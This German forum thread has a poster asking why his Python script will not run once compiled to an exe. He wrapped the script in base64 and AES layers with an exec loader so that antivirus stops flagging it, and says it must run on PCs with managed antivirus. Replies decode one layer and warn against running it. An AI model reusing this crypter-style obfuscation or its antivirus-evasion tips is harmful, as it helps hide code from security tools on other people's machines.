1. Diese Seite verwendet Cookies. Wenn du dich weiterhin auf dieser Seite aufhältst, akzeptierst du unseren Einsatz von Cookies. Weitere Informationen

Compiler Problem

Dieses Thema im Forum "Support & Discussion" wurde erstellt von Botuser28, 26. Januar 2018.

Schlagworte:
  1. Botuser28

    Botuser28 Member

    Registriert seit:
    2. Januar 2018
    Beiträge:
    50
    Zustimmungen:
    10
    Punkte für Erfolge:
    8
    meine imports

    Code (Python):

    from base64 import b64decode as bLUgUIKYl;
    import base64;
    from Crypto.Cipher import AES;
    import time;
    import struct;
    import socket;
    import ctypes as XpBjaIXwIgcNZf;
    from time import sleep;
    import datetime;
    from socket import AF_INET, SOCK_DGRAM;
    import sys;
    from Crypto.Cipher import AES as daRnwTNM;
     
    Ich habe meinen Python bot verschlüsselt da ihn mein Virenscan immer gestoppt hat
    Wenn ich den Quellcode ausführe ist alles gut aber sobald ich eine exe erstellen möchte mit dem online compiler bekomme ich eine Fehler Meldung wenn ich die exe starten möchte
    Hat zufällig jemand eine Ahnung auf Anhieb ?
     
    Zuletzt von einem Moderator bearbeitet: 26. Januar 2018
  2. SilverHazard

    SilverHazard Moderator Mitarbeiter Moderator

    Registriert seit:
    2. Juli 2017
    Beiträge:
    59
    Zustimmungen:
    48
    Punkte für Erfolge:
    18
    Geschlecht:
    männlich
    1. Formatiere deinen Code bitte in Zukunft und verwende Codetags: [code=Sprache]...[/code]
    2. Was genau sollen wir mit dem Code anfangen? Außer wissen, dass du verschiedene Sachen importierst...
    3. Warum hat es dein Virenscanner gestoppt? In der Quellcode-Variante und als unverschlüsselte Exe?
    4. Welchen Compiler verwendest du?
    5. Welche Fehlermeldung kriegst du? Die Tatsache, dass etwas nicht funktioniert, hilft nicht wirklich weiter...
     
  3. SigSegV

    SigSegV New Member

    Registriert seit:
    14. Januar 2018
    Beiträge:
    15
    Zustimmungen:
    7
    Punkte für Erfolge:
    3
    Geschlecht:
    männlich
    Hier verstehe ich nicht genau was du mit verschlüsseln meinst. Hättest du das Script verschlüsselt, könnt es der Interpreter genauso wenig lesen wie ein Compiler. Und da du das Script ja zumindest vom Interpreter ausführen lassen kannst, kann es eigentlich nicht verschlüsselt sein.

    Das Problem lässt sich normalerweise sehr einfach lösen, bei fast allen Viren-Scannern kannst du Pfade angeben die nicht überwacht werden. Trage dort einfach das Verzeichnis ein in dem dein Code liegt. Danach sollte dich der Viren-Scanner nicht mehr stören.
    Oder sei schlau und nutz einfach Linux :)

    Grundsätzlich kann ich SilverHazard nur zustimmen, je mehr Informationen du lieferst, desto wahrscheinlicher kann man dir helfe. Zumindest mal die Fehlermeldung der Executable wäre sicher hilfreich.
     
  4. Botuser28

    Botuser28 Member

    Registriert seit:
    2. Januar 2018
    Beiträge:
    50
    Zustimmungen:
    10
    Punkte für Erfolge:
    8
    Stelle euch morgen den gesamten Code rein
    Da Python eine sehr beliebte sprache für Viren ist kann man das Script verschlüsseln aber es ist dennoch ausführbar
    Wie gesagt das bsp kommt morgen
     
    3HMonkey gefällt das.
  5. Botuser28

    Botuser28 Member

    Registriert seit:
    2. Januar 2018
    Beiträge:
    50
    Zustimmungen:
    10
    Punkte für Erfolge:
    8
    Code (Python):
    from threading import Thread;from base64 import b64decode as jGqd1G;import zipfile;import itertools;import hashlib;import string;from Crypto.Cipher import AES as piivht
    exec(jGqd1G("ZXhlYyhwaWl2aHQubmV3KCIyI0dPYlUzREZNaG58ZHdwOS97SjZ6MWUjW2VxTEVTYSIsIHBpaXZodC5NT0RFX0NCQywgIm13QkxlVm9ua3w0bms5eV0iKS5kZWNyeXB0KGpHcWQxRygiV2xkcXNjQkZCcEpGcnhjR2VFRWlyM25vZHFyUkRvYmZXYTdzZklqWVh2YlNPOTdTaVJ0dHRnS1AvNGRoYUI5S0NDS1o4c1hhNGNnTDI0TEVYWUZKTGIvdHQ4T1VFWk5oNXY4YUNSQWh6b203N3FzZzZmVlJGR01iSG5yU2RMTy9zWGtENmxlanZOYTFHRVpxT0E5SjU4ZmljL1owWW5hOHBMeVg4RE1XdWFXcjhub3Ztcy9XTWpOeHEzSVcrNGFjK25wLzBpR1RPd2VjV0dqUVdJdnFLcm83UFZRZUdPb3hZZ3MzT3RsSnNsVFlrZXNnRjlHcFcrY3ZHQ1B3cVlZY0ZvMXBFVnljZ283ay9kUnJlOGlNeXBndm0rTVpUR3Y5bTlKQlRjSUZrMzNSMGx5QzhvN1NFb1hiUmxXTjZrbm1KVjNrdU5nRWxQbGZpSjZ6RXp0MXJOTkl0eGhFMWpKVXJaLzBxTUZ2ZUN3dnR5a0RGMkt2Y2EwQmhjY1JGTndQUThOb3g2UGhKdVczV24wWEs0YkNtM0EwT3dDSC93b2FQTUJyb3lHcmFaWDJEMjdtbzRiZkZ5b0YwdWJFQlR4eUJqVUZBTmJxQTIwdlZtcVU2dVdDNW9QMlZNaE1EczRaQytOYm8yS1JPY0drdkxBbVNLdG9kaEZ3cDF1V0ZmbjNxRk9LbU1mSXpDdTJEblVwV3ZYMHdOU0JpN2kvbVZxTVR2eUNINDdqQjd1UDhLWkFCaGZpN2Ftak9FRGpCMnRWdzluc1MyZVpjeG9jd0JmenhyL1VEVU9RVWlCcVcrYzZtck92a0xacm90RlRPUitKVkhZVkNCT3FrNjZxT21DODJBdG9nVXE2ejNySEVELzByNW5XeGR1UHFFYkJsQnN1K08yRGpuVGJNd2pnNzNWRjNPWGxoK2hiQm4rSWFvRzU2NklWWFo4b2VXcE1pNTl0WjBsRGx1MFQ1cERUbGU0NVhxclQ4cS91TEQ0WGFOdGxWWDcrMDZqSGdoYkY0ZGJyTTNSN0NaeVRYc2EyQXpJcEJFQm93Y2FXdkV2SlpHcmltUWpMblJ5THJQUEZWMkZDWHYrL3NxNTNhVGtSR0I3TW45WTB3T3JKUUliVllGQkJxUVZ6R3B4Y1gzeXdxM2RFSVQyMU9LekIyaHQ3MkdCSVEwMzBVL3hpcTI5SkFRK0Q3RkFjRnhqVnJhN0VFMnJDV1RTRm9HUlhrU1BFbjlJdDBWQzRWZk4vN2xWKzcveUxRNUVaanNKSWVxRUxPSTVTZ0FWeXN6TFl1ckppUTFDZi8xd1Yybmx3alp1MUVoSSt4cVRIelAxUk0rL3JvZ0picVBYQUtYTTRxcWcrekR4VHNGdnVSRnBKR0hQWndobFNBOGJtRUdmNHE0c1dTVXNQb1drazJiWjNBOEI1UElmQTNkTWZ1NGdXWXVNRmZJM1N0MkwzYUpIY3Fya1Z3UmVnWkw0Ujg3R05FK2MwQ0toNE1MYklnK1lqVFhQM0diTzY1SzBPZHU0TkE1N3k5TTRXNTlXMkpYMWlOek00Z2pQZ3g2bFB6SGFac1loSE1FakVWK1ZlN2NyS0dkUVdId1JHZHBUcjJrSnQ5cTdkelNJampwR2FoUTI0dU5GSW5vNnA2dXlSQmFJVndNcGQwNy90alRWTHpzV1NBR0N4bjl1R09IcjlxOTlDN0owYWpVV05TZHhrdEQzWEhHb0dMTHNTUzI2YnhMTHZQeXFHZyswNnJoSUN3U3pmTDhHKzgvTStOSFN6RWhDWHkvaW0zcWRZNVJBVXExMFhZY0JhUWcyY0lKd0Q5cWEwQWJVUzdmL0lTNnhiU0VmVUhDanIyQWYvSERObG5CeVM3SXpvWTJidzFsNEVjYjJtR3ZCY0UwU1VPWE9oNGZBcEhoV2Q3Zk9DWjlGZGhkMmhIbzVwcWUyby9ERnVvSlpQR1RVT3JpTkRqVjkzMlo2RHcyYzFuR2k4bjUwK0lNb1pEVWFKMFpDeVVLOHFoOFVRQWJDT0U3TVZUTnE4Z1ZGUExTMnlycmg3VE5CbG1vbmFYSVN1UW16dFNmNGthcEhPVzNpZkNaUk9uQnd2T0dKOWJRTi9PampIbDJXVnJOcnFtWXpDZDNuTUI1NFJ1QWk0Ukd5OTVseGdlc3hudHhwNEJKc25pNEpiZ2lZL1c5cXFPL2FMVWEvREFzd2dLSFF6VUJyZzc4YzdMVXI2TWhGNkI4V2txdzZ1YnV6Z1N0aEhkeFVDWjd5YSsxK1RVVW5wa1NkNTVKQVFJNGhjY2NudkZ4WnRUQlhxTjhFRFFkYWNIN0ZTTXpXR0ZsbC83TjNWSGFUMFZoWmdsMnpJQVZaUU80cHF5WGFYdm90VEprbXRFRXViaUtrMUVadzZIZTZUa1c1bTNMNDRXV3hPWlhWMDBiUUtUMmNKRlV6RW85VHhnTGRMR1BVUnVhMysydVRNcDdwNUpHSDQ4UVJjNnU0L1NhSlRCU1J2eis4KzJnPT0iKSkucnN0cmlwKCd7JykpCg=="))

    Das ist ein Beispiel mit gui, damit ihr seht ob es funktioniert hat
    Das Script als py Datei sollte funktionieren nur sobald man es kompilieren will kommt bei mir eine Fehlermeldung sobald man die exe ausführen möchte
    Habe mir den originalen code von GitHub genommen und dann verschlüsselt


    http://py2exe.net

    Basiert auf pyinstaller


    Das ist nicht möglich da ich ein managed Antivirus drauf habe auf dem PC auf dem es laufen soll
    Ich selber nutze auch hauptsächlich Linux
    Die Kali distribution, aber meine Freunde und Familie haben damit nix am Hut ^^
     
    Zuletzt von einem Moderator bearbeitet: 27. Januar 2018
  6. SigSegV

    SigSegV New Member

    Registriert seit:
    14. Januar 2018
    Beiträge:
    15
    Zustimmungen:
    7
    Punkte für Erfolge:
    3
    Geschlecht:
    männlich
    Ok, damit lässt sich doch schon was anfangen.
    Das ist keine wirkliche Verschlüsselung, die Codieren den Code einfach nur base64 und decodieren ihn wieder beim ausführen.
    Das kannst du auch selbst tun und dir anschauen was da drin steht.

    Code (Python):

    from base64 import b64decode as jGqd1G

    codeBase64 = """ZXhlYyhwaWl2aHQubmV3KCIyI0dPYlUzREZNaG58ZHdwOS97SjZ6MWUjW2VxTEVTYSIsIHBpaXZodC5NT0RFX0NCQywgIm13QkxlVm9ua3w0bms5eV0iKS5kZWNyeXB0KGpHcWQxRygiV2xkcXNjQkZCcEpGcnhjR2VFRWlyM25vZHFyUkRvYmZXYTdzZklqWVh2YlNPOTdTaVJ0dHRnS1AvNGRo
    YUI5S0NDS1o4c1hhNGNnTDI0TEVYWUZKTGIvdHQ4T1VFWk5oNXY4YUNSQWh6b203N3FzZzZmVlJGR01iSG5yU2RMTy9zWGtENmxlanZOYTFHRV
    pxT0E5SjU4ZmljL1owWW5hOHBMeVg4RE1XdWFXcjhub3Ztcy9XTWpOeHEzSVcrNGFjK25wLzBpR1RPd2VjV0dqUVdJdnFLcm83UFZRZUdPb3hZ
    Z3MzT3RsSnNsVFlrZXNnRjlHcFcrY3ZHQ1B3cVlZY0ZvMXBFVnljZ283ay9kUnJlOGlNeXBndm0rTVpUR3Y5bTlKQlRjSUZrMzNSMGx5QzhvN1
    NFb1hiUmxXTjZrbm1KVjNrdU5nRWxQbGZpSjZ6RXp0MXJOTkl0eGhFMWpKVXJaLzBxTUZ2ZUN3dnR5a0RGMkt2Y2EwQmhjY1JGTndQUThOb3g2
    UGhKdVczV24wWEs0YkNtM0EwT3dDSC93b2FQTUJyb3lHcmFaWDJEMjdtbzRiZkZ5b0YwdWJFQlR4eUJqVUZBTmJxQTIwdlZtcVU2dVdDNW9QMl
    ZNaE1EczRaQytOYm8yS1JPY0drdkxBbVNLdG9kaEZ3cDF1V0ZmbjNxRk9LbU1mSXpDdTJEblVwV3ZYMHdOU0JpN2kvbVZxTVR2eUNINDdqQjd1
    UDhLWkFCaGZpN2Ftak9FRGpCMnRWdzluc1MyZVpjeG9jd0JmenhyL1VEVU9RVWlCcVcrYzZtck92a0xacm90RlRPUitKVkhZVkNCT3FrNjZxT2
    1DODJBdG9nVXE2ejNySEVELzByNW5XeGR1UHFFYkJsQnN1K08yRGpuVGJNd2pnNzNWRjNPWGxoK2hiQm4rSWFvRzU2NklWWFo4b2VXcE1pNTl0
    WjBsRGx1MFQ1cERUbGU0NVhxclQ4cS91TEQ0WGFOdGxWWDcrMDZqSGdoYkY0ZGJyTTNSN0NaeVRYc2EyQXpJcEJFQm93Y2FXdkV2SlpHcmltUW
    pMblJ5THJQUEZWMkZDWHYrL3NxNTNhVGtSR0I3TW45WTB3T3JKUUliVllGQkJxUVZ6R3B4Y1gzeXdxM2RFSVQyMU9LekIyaHQ3MkdCSVEwMzBV
    L3hpcTI5SkFRK0Q3RkFjRnhqVnJhN0VFMnJDV1RTRm9HUlhrU1BFbjlJdDBWQzRWZk4vN2xWKzcveUxRNUVaanNKSWVxRUxPSTVTZ0FWeXN6TF
    l1ckppUTFDZi8xd1Yybmx3alp1MUVoSSt4cVRIelAxUk0rL3JvZ0picVBYQUtYTTRxcWcrekR4VHNGdnVSRnBKR0hQWndobFNBOGJtRUdmNHE0
    c1dTVXNQb1drazJiWjNBOEI1UElmQTNkTWZ1NGdXWXVNRmZJM1N0MkwzYUpIY3Fya1Z3UmVnWkw0Ujg3R05FK2MwQ0toNE1MYklnK1lqVFhQM0
    diTzY1SzBPZHU0TkE1N3k5TTRXNTlXMkpYMWlOek00Z2pQZ3g2bFB6SGFac1loSE1FakVWK1ZlN2NyS0dkUVdId1JHZHBUcjJrSnQ5cTdkelNJ
    ampwR2FoUTI0dU5GSW5vNnA2dXlSQmFJVndNcGQwNy90alRWTHpzV1NBR0N4bjl1R09IcjlxOTlDN0owYWpVV05TZHhrdEQzWEhHb0dMTHNTUz
    I2YnhMTHZQeXFHZyswNnJoSUN3U3pmTDhHKzgvTStOSFN6RWhDWHkvaW0zcWRZNVJBVXExMFhZY0JhUWcyY0lKd0Q5cWEwQWJVUzdmL0lTNnhi
    U0VmVUhDanIyQWYvSERObG5CeVM3SXpvWTJidzFsNEVjYjJtR3ZCY0UwU1VPWE9oNGZBcEhoV2Q3Zk9DWjlGZGhkMmhIbzVwcWUyby9ERnVvSl
    pQR1RVT3JpTkRqVjkzMlo2RHcyYzFuR2k4bjUwK0lNb1pEVWFKMFpDeVVLOHFoOFVRQWJDT0U3TVZUTnE4Z1ZGUExTMnlycmg3VE5CbG1vbmFY
    SVN1UW16dFNmNGthcEhPVzNpZkNaUk9uQnd2T0dKOWJRTi9PampIbDJXVnJOcnFtWXpDZDNuTUI1NFJ1QWk0Ukd5OTVseGdlc3hudHhwNEJKc2
    5pNEpiZ2lZL1c5cXFPL2FMVWEvREFzd2dLSFF6VUJyZzc4YzdMVXI2TWhGNkI4V2txdzZ1YnV6Z1N0aEhkeFVDWjd5YSsxK1RVVW5wa1NkNTVK
    QGhjY2NudkZ4WnRUQlhxTjhFRFFkYWNIN0ZTTXpXR0ZsbC83TjNWSGFUMFZoWmdsMnpJQVZaUU80cHF5WGFYdm90VEprbXRFRXViaUtrMUVadz
    ZIZTZUa1c1bTNMNDRXV3hPWlhWMDBiUUtUMmNKRlV6RW85VHhnTGRMR1BVUnVhMysydVRNcDdwNUpHSDQ4UVJjNnU0L1NhSlRCU1J2eis4KzJn
    PT0iKSkucnN0cmlwKCd7JykpCg=="""


    print(jGqd1G(codeBase64))
     
    Das hilft aber nur bedingt weiter, denn was da drin steht ist teilweise wieder base64 kodiert. Und scheint noch AES verschlüsselt zu sein.

    Code (Python):

    # ...
    from Crypto.Cipher import AES as piivht
    # ...
     
    Das war mir jetzt zu viel Aufwand das weiter auseinander zu nehmen. Aber das kommt beim ersten dekodieren von base64 raus. Ich frage mich auch wieso da exec(exec(...)) aufgerufen wird.

    Code (Python):

    exec(piivht.new("2#GObU3DFMhn|dwp9/{J6z1e#[eqLESa", piivht.MODE_CBC, "mwBLeVonk|4nk9y]").decrypt(jGqd1G("WldqscBFBpJFrxcGeEEir3nodqrRDobfWa7sfIjYXvbSO97SiRtttgKP/4dhaB9KCCKZ8sXa4cgL24LEXYFJLb/tt8OUEZNh5v8aCRAhzom77qsg6fVRFGMbHnrSdLO/sXkD6lejvNa1GEZqOA9J58fic/Z0Yna8pLyX8DMWuaWr8novms/WMjNxq3IW+4ac+np/0iGTOwecWGjQWIvqKro7PVQeGOoxYgs3OtlJslTYkesgF9GpW+cvGCPwqYYcFo1pEVycgo7k/dRre8iMypgvm+MZTGv9m9JBTcIFk33R0lyC8o7SEoXbRlWN6knmJV3kuNgElPlfiJ6zEzt1rNNItxhE1jJUrZ/0qMFveCwvtykDF2Kvca0BhccRFNwPQ8Nox6PhJuW3Wn0XK4bCm3A0OwCH/woaPMBroyGraZX2D27mo4bfFyoF0ubEBTxyBjUFANbqA20vVmqU6uWC5oP2VMhMDs4ZC+Nbo2KROcGkvLAmSKtodhFwp1uWFfn3qFOKmMfIzCu2DnUpWvX0wNSBi7i/mVqMTvyCH47jB7uP8KZABhfi7amjOEDjB2tVw9nsS2eZcxocwBfzxr/UDUOQUiBqW+c6mrOvkLZrotFTOR+JVHYVCBOqk66qOmC82AtogUq6z3rHED/0r5nWxduPqEbBlBsu+O2DjnTbMwjg73VF3OXlh+hbBn+IaoG566IVXZ8oeWpMi59tZ0lDlu0T5pDTle45XqrT8q/uLD4XaNtlVX7+06jHghbF4dbrM3R7CZyTXsa2AzIpBEBowcaWvEvJZGrimQjLnRyLrPPFV2FCXv+/sq53aTkRGB7Mn9Y0wOrJQIbVYFBBqQVzGpxcX3ywq3dEIT21OKzB2ht72GBIQ030U/xiq29JAQ+D7FAcFxjVra7EE2rCWTSFoGRXkSPEn9It0VC4VfN/7lV+7/yLQ5EZjsJIeqELOI5SgAVyszLYurJiQ1Cf/1wV2nlwjZu1EhI+xqTHzP1RM+/rogJbqPXAKXM4qqg+zDxTsFvuRFpJGHPZwhlSA8bmEGf4q4sWSUsPoWkk2bZ3A8B5PIfA3dMfu4gWYuMFfI3St2L3aJHcqrkVwRegZL4R87GNE+c0CKh4MLbIg+YjTXP3GbO65K0Odu4NA57y9M4W59W2JX1iNzM4gjPgx6lPzHaZsYhHMEjEV+Ve7crKGdQWHwRGdpTr2kJt9q7dzSIjjpGahQ24uNFIno6p6uyRBaIVwMpd07/tjTVLzsWSAGCxn9uGOHr9q99C7J0ajUWNSdxktD3XHGoGLLsSS26bxLLvPyqGg+06rhICwSzfL8G+8/M+NHSzEhCXy/im3qdY5RAUq10XYcBaQg2cIJwD9qa0AbUS7f/IS6xbSEfUHCjr2Af/HDNlnByS7IzoY2bw1l4Ecb2mGvBcE0SUOXOh4fApHhWd7fOCZ9Fdhd2hHo5pqe2o/DFuoJZPGTUOriNDjV932Z6Dw2c1nGi8n50+IMoZDUaJ0ZCyUK8qh8UQAbCOE7MVTNq8gVFPLS2yrrh7TNBlmonaXISuQmztSf4kapHOW3ifCZROnBwvOGJ9bQN/OjjHl2WVrNrqmYzCd3nMB54RuAi4RGy95lxgesxntxp4BJsni4JbgiY/W9qqO/aLUa/DAswgKHQzUBrg78c7LUr6MhF6B8Wkqw6ubuzgSthHdxUCZ7ya+1+TUUnpkSd55JAQI4hcccnvFxZtTBXqN8EDQdacH7FSMzWGFll/7N3VHaT0VhZgl2zIAVZQO4pqyXaXvotTJkmtEEubiKk1EZw6He6TkW5m3L44WWxOZXV00bQKT2cJFUzEo9TxgLdLGPURua3+2uTMp7p5JGH48QRc6u4/SaJTBSRvz+8+2g==")).rstrip('{'))
     
    Ich kann dir nur nahe legen sowas keines Falls laufen zu lassen, du hast nicht die geringste Ahnung was da am Ende wirklich passiert. Falls du das schon getan hast, mach deinen Rechner platt und setz ihn neu auf.
    Das sieht alles sehr fragwürdig aus. Aber gut du hast auch nicht viel zum Kontext des Ganzen gesagt.

    Davon abgesehen hat das ja nicht viel mit deinem eigentlichen Problem zu tun.
    Wenn es dir nur darum geht, dass dein Viren-Scanner ein Script nicht ausführen will, wie gesagt, stell ihn einfach so ein, dass er das Verzeichnis ignoriert.
    Und kompilieren müsstest deine Scripte so oder so können.
    Ob dich der Scanner die Binarys ausführen lässt ist dann nochmal ne andere Geschichte.

    Das scheint schrecklich viel Aufwand für ein simples Problem zu sein.
     
  7. Botuser28

    Botuser28 Member

    Registriert seit:
    2. Januar 2018
    Beiträge:
    50
    Zustimmungen:
    10
    Punkte für Erfolge:
    8
    Ob das nen Virus ist oder nicht war nicht meine Frage
    Der kompiler den ich da reingestellt habe der macht eine exe aber beim Starten der exe kommt ein Error
    Meine Frage war was ich bei dem kompiler noch alles angeben muss damit es funktioniert
     
  8. SigSegV

    SigSegV New Member

    Registriert seit:
    14. Januar 2018
    Beiträge:
    15
    Zustimmungen:
    7
    Punkte für Erfolge:
    3
    Geschlecht:
    männlich
    Welcher Error ? Was genau steht da ?
    Aber könnte es nicht schon daran liegen, dass in dem String-Script die imports fehlen ?
    Oder werden die von oben her "vererbt" ?
    In dem Fall kompiliert das, aber beim Ausführen des inneren Scripts geht dann was schief.
     
  9. Botuser28

    Botuser28 Member

    Registriert seit:
    2. Januar 2018
    Beiträge:
    50
    Zustimmungen:
    10
    Punkte für Erfolge:
    8
    https://i.imgur.com/TXvNDf9.png
    Compiler


    https://i.imgur.com/bf7RUKU.png
    Error



    Beispielcode gefunden auf Github

    Code (Python):
    import time
    import turtle

    turtle.left(90)
    turtle.backward(300)

    abc = 300
    while abc > 2:
        turtle.forward(abc)
        turtle.left(20)
        turtle.forward(abc)
        turtle.backward(abc)
        turtle.left(20)
        turtle.forward(abc)
        turtle.backward(abc)
        turtle.right(40)

        abc /= 2

    time.sleep(5)

    Beispielcode mit eigenem Script verschlüsselt:


    Code (Python):
    from threading import Thread;from base64 import b64decode as jGqd1G;import zipfile;import itertools;import hashlib;import string;from Crypto.Cipher import AES as piivht
    exec(jGqd1G("ZXhlYyhwaWl2aHQubmV3KCIyI0dPYlUzREZNaG58ZHdwOS97SjZ6MWUjW2VxTEVTYSIsIHBpaXZodC5NT0RFX0NCQywgIm13QkxlVm9ua3w0bms5eV0iKS5kZWNyeXB0KGpHcWQxRygiV2xkcXNjQkZCcEpGcnhjR2VFRWlyM25vZHFyUkRvYmZXYTdzZklqWVh2YlNPOTdTaVJ0dHRnS1AvNGRoYUI5S0NDS1o4c1hhNGNnTDI0TEVYWUZKTGIvdHQ4T1VFWk5oNXY4YUNSQWh6b203N3FzZzZmVlJGR01iSG5yU2RMTy9zWGtENmxlanZOYTFHRVpxT0E5SjU4ZmljL1owWW5hOHBMeVg4RE1XdWFXcjhub3Ztcy9XTWpOeHEzSVcrNGFjK25wLzBpR1RPd2VjV0dqUVdJdnFLcm83UFZRZUdPb3hZZ3MzT3RsSnNsVFlrZXNnRjlHcFcrY3ZHQ1B3cVlZY0ZvMXBFVnljZ283ay9kUnJlOGlNeXBndm0rTVpUR3Y5bTlKQlRjSUZrMzNSMGx5QzhvN1NFb1hiUmxXTjZrbm1KVjNrdU5nRWxQbGZpSjZ6RXp0MXJOTkl0eGhFMWpKVXJaLzBxTUZ2ZUN3dnR5a0RGMkt2Y2EwQmhjY1JGTndQUThOb3g2UGhKdVczV24wWEs0YkNtM0EwT3dDSC93b2FQTUJyb3lHcmFaWDJEMjdtbzRiZkZ5b0YwdWJFQlR4eUJqVUZBTmJxQTIwdlZtcVU2dVdDNW9QMlZNaE1EczRaQytOYm8yS1JPY0drdkxBbVNLdG9kaEZ3cDF1V0ZmbjNxRk9LbU1mSXpDdTJEblVwV3ZYMHdOU0JpN2kvbVZxTVR2eUNINDdqQjd1UDhLWkFCaGZpN2Ftak9FRGpCMnRWdzluc1MyZVpjeG9jd0JmenhyL1VEVU9RVWlCcVcrYzZtck92a0xacm90RlRPUitKVkhZVkNCT3FrNjZxT21DODJBdG9nVXE2ejNySEVELzByNW5XeGR1UHFFYkJsQnN1K08yRGpuVGJNd2pnNzNWRjNPWGxoK2hiQm4rSWFvRzU2NklWWFo4b2VXcE1pNTl0WjBsRGx1MFQ1cERUbGU0NVhxclQ4cS91TEQ0WGFOdGxWWDcrMDZqSGdoYkY0ZGJyTTNSN0NaeVRYc2EyQXpJcEJFQm93Y2FXdkV2SlpHcmltUWpMblJ5THJQUEZWMkZDWHYrL3NxNTNhVGtSR0I3TW45WTB3T3JKUUliVllGQkJxUVZ6R3B4Y1gzeXdxM2RFSVQyMU9LekIyaHQ3MkdCSVEwMzBVL3hpcTI5SkFRK0Q3RkFjRnhqVnJhN0VFMnJDV1RTRm9HUlhrU1BFbjlJdDBWQzRWZk4vN2xWKzcveUxRNUVaanNKSWVxRUxPSTVTZ0FWeXN6TFl1ckppUTFDZi8xd1Yybmx3alp1MUVoSSt4cVRIelAxUk0rL3JvZ0picVBYQUtYTTRxcWcrekR4VHNGdnVSRnBKR0hQWndobFNBOGJtRUdmNHE0c1dTVXNQb1drazJiWjNBOEI1UElmQTNkTWZ1NGdXWXVNRmZJM1N0MkwzYUpIY3Fya1Z3UmVnWkw0Ujg3R05FK2MwQ0toNE1MYklnK1lqVFhQM0diTzY1SzBPZHU0TkE1N3k5TTRXNTlXMkpYMWlOek00Z2pQZ3g2bFB6SGFac1loSE1FakVWK1ZlN2NyS0dkUVdId1JHZHBUcjJrSnQ5cTdkelNJampwR2FoUTI0dU5GSW5vNnA2dXlSQmFJVndNcGQwNy90alRWTHpzV1NBR0N4bjl1R09IcjlxOTlDN0owYWpVV05TZHhrdEQzWEhHb0dMTHNTUzI2YnhMTHZQeXFHZyswNnJoSUN3U3pmTDhHKzgvTStOSFN6RWhDWHkvaW0zcWRZNVJBVXExMFhZY0JhUWcyY0lKd0Q5cWEwQWJVUzdmL0lTNnhiU0VmVUhDanIyQWYvSERObG5CeVM3SXpvWTJidzFsNEVjYjJtR3ZCY0UwU1VPWE9oNGZBcEhoV2Q3Zk9DWjlGZGhkMmhIbzVwcWUyby9ERnVvSlpQR1RVT3JpTkRqVjkzMlo2RHcyYzFuR2k4bjUwK0lNb1pEVWFKMFpDeVVLOHFoOFVRQWJDT0U3TVZUTnE4Z1ZGUExTMnlycmg3VE5CbG1vbmFYSVN1UW16dFNmNGthcEhPVzNpZkNaUk9uQnd2T0dKOWJRTi9PampIbDJXVnJOcnFtWXpDZDNuTUI1NFJ1QWk0Ukd5OTVseGdlc3hudHhwNEJKc25pNEpiZ2lZL1c5cXFPL2FMVWEvREFzd2dLSFF6VUJyZzc4YzdMVXI2TWhGNkI4V2txdzZ1YnV6Z1N0aEhkeFVDWjd5YSsxK1RVVW5wa1NkNTVKQVFJNGhjY2NudkZ4WnRUQlhxTjhFRFFkYWNIN0ZTTXpXR0ZsbC83TjNWSGFUMFZoWmdsMnpJQVZaUU80cHF5WGFYdm90VEprbXRFRXViaUtrMUVadzZIZTZUa1c1bTNMNDRXV3hPWlhWMDBiUUtUMmNKRlV6RW85VHhnTGRMR1BVUnVhMysydVRNcDdwNUpHSDQ4UVJjNnU0L1NhSlRCU1J2eis4KzJnPT0iKSkucnN0cmlwKCd7JykpCg=="))

    Und den Verschlüsselten Code als Chest.py hochgeladen bei dem Compiler



    Es muss auf jedenfall am Compiler liegen, dass ich da irgendetwas anders einstellen muss...
    Die verschlüsselte Python Datei ausführen in der Entwicklungsumgebung funktioniert einwandfrei
     
    Zuletzt bearbeitet: 27. Januar 2018
  10. SigSegV

    SigSegV New Member

    Registriert seit:
    14. Januar 2018
    Beiträge:
    15
    Zustimmungen:
    7
    Punkte für Erfolge:
    3
    Geschlecht:
    männlich
    Ja das ist mal eine sehr aussagekräftige Fehlermeldung, viel Spaß :)
     
  11. Botuser28

    Botuser28 Member

    Registriert seit:
    2. Januar 2018
    Beiträge:
    50
    Zustimmungen:
    10
    Punkte für Erfolge:
    8
    Ja deshalb frage ich hier ja ob jemand eine Idee hat ^^
     
  12. SilverHazard

    SilverHazard Moderator Mitarbeiter Moderator

    Registriert seit:
    2. Juli 2017
    Beiträge:
    59
    Zustimmungen:
    48
    Punkte für Erfolge:
    18
    Geschlecht:
    männlich
    Ich kenne den Compiler nicht, aber hier ein paar Vermutungen:
    • Du verwendest Python 2, stimmt das mit Sicherheit oder brauchst du Python 3?
    • Hast du bei den Libraries was angegeben? Wenn ich das richtig sehe, brauchst du für "from Crypto.Cipher import AES as piivht" eine externe Bibliothek
    • Probier mal "Console based" statt "Window based", vielleicht kriegst du dann ne sinnvollere Fehlermeldung
    • Ansonsten könnte dein AV trotzdem noch z.B. den Zugriff auf einzelne DLLs blockieren und aber keine Meldung dazu geben
     
  13. Botuser28

    Botuser28 Member

    Registriert seit:
    2. Januar 2018
    Beiträge:
    50
    Zustimmungen:
    10
    Punkte für Erfolge:
    8
    Zum letzten Punkt
    Habe es in einer Virtuellen Maschine mal ausprobiert ohne AV, also kann es diesmal nicht am AV liegen
    Punkt 2 hast du Recht ich hätte pycryptop importieren müssen habe ich vergessen, aber sobald ich es importiere stürzt der Compiler ab |-(
    Punkt 3 hat keine Auswirkungen
     
  14. SilverHazard

    SilverHazard Moderator Mitarbeiter Moderator

    Registriert seit:
    2. Juli 2017
    Beiträge:
    59
    Zustimmungen:
    48
    Punkte für Erfolge:
    18
    Geschlecht:
    männlich
    Was genau meinst du denn mit "stürzt der Compiler ab"?
     
  15. Botuser28

    Botuser28 Member

    Registriert seit:
    2. Januar 2018
    Beiträge:
    50
    Zustimmungen:
    10
    Punkte für Erfolge:
    8
  16. Botuser28

    Botuser28 Member

    Registriert seit:
    2. Januar 2018
    Beiträge:
    50
    Zustimmungen:
    10
    Punkte für Erfolge:
    8
    Ich gebs auf es will einfach nicht gehen
     
    Zuletzt bearbeitet: 27. Januar 2018

Diese Seite empfehlen

Die Seite wird geladen...